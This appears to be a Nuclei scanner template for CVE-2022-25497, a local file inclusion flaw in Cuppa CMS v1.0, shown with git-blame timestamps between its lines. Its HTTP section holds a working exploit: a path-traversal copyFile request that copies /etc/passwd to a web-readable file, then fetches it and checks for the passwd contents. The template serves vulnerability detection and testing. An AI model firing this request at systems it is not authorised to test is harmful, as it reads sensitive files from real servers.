2023-04-21 08:56:01 +00:00
|
|
|
id: CVE-2022-25497
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: Cuppa CMS v1.0 - Local File Inclusion
|
|
|
|
author: theamanrawat
|
|
|
|
severity: medium
|
|
|
|
description: |
|
|
|
|
CuppaCMS v1.0 was discovered to contain an arbitrary file read via the copy function.
|
2023-09-06 11:59:08 +00:00
|
|
|
remediation: |
|
|
|
|
Upgrade to the latest version of Cuppa CMS or apply the provided patch to fix the LFI vulnerability.
|
2023-04-21 08:56:01 +00:00
|
|
|
reference:
|
|
|
|
- https://github.com/CuppaCMS/CuppaCMS
|
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-25497
|
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
|
|
|
|
cvss-score: 5.3
|
|
|
|
cve-id: CVE-2022-25497
|
|
|
|
cwe-id: CWE-552
|
2023-11-05 22:23:39 +00:00
|
|
|
epss-score: 0.00582
|
|
|
|
epss-percentile: 0.75732
|
2023-09-06 11:59:08 +00:00
|
|
|
cpe: cpe:2.3:a:cuppacms:cuppacms:1.0:*:*:*:*:*:*:*
|
2023-04-21 08:56:01 +00:00
|
|
|
metadata:
|
2023-06-04 08:13:42 +00:00
|
|
|
verified: true
|
2023-09-06 11:59:08 +00:00
|
|
|
max-request: 2
|
2023-07-11 19:49:27 +00:00
|
|
|
vendor: cuppacms
|
|
|
|
product: cuppacms
|
|
|
|
tags: cve,cve2022,lfi,cuppa,intrusive
|
2023-04-21 08:56:01 +00:00
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2023-04-21 08:56:01 +00:00
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /js/filemanager/api/index.php HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/json
|
|
|
|
|
|
|
|
{"from":"//../../../../../../../../../../../../../etc/passwd","to":"/../{{randstr}}.txt","action":"copyFile"}
|
|
|
|
- |
|
|
|
|
GET /{{randstr}}.txt HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
part: header_2
|
|
|
|
words:
|
|
|
|
- text/plain
|
|
|
|
|
2023-07-11 19:49:27 +00:00
|
|
|
- type: regex
|
|
|
|
regex:
|
|
|
|
- "root:.*:0:0:"
|
|
|
|
|
2023-04-21 08:56:01 +00:00
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
2023-11-05 22:23:39 +00:00
|
|
|
|
|
|
|
# digest: 4b0a004830460221009d678bb9b077f13e59cfa8cd05a3e9410479ce56a283297782fdd450ee75c89c022100c0548f20f94b5868c554aed130d91968048bad5a0df00ca923ac5ba1ffbd4078:922c64590222798bb761d5b6d8e72950
|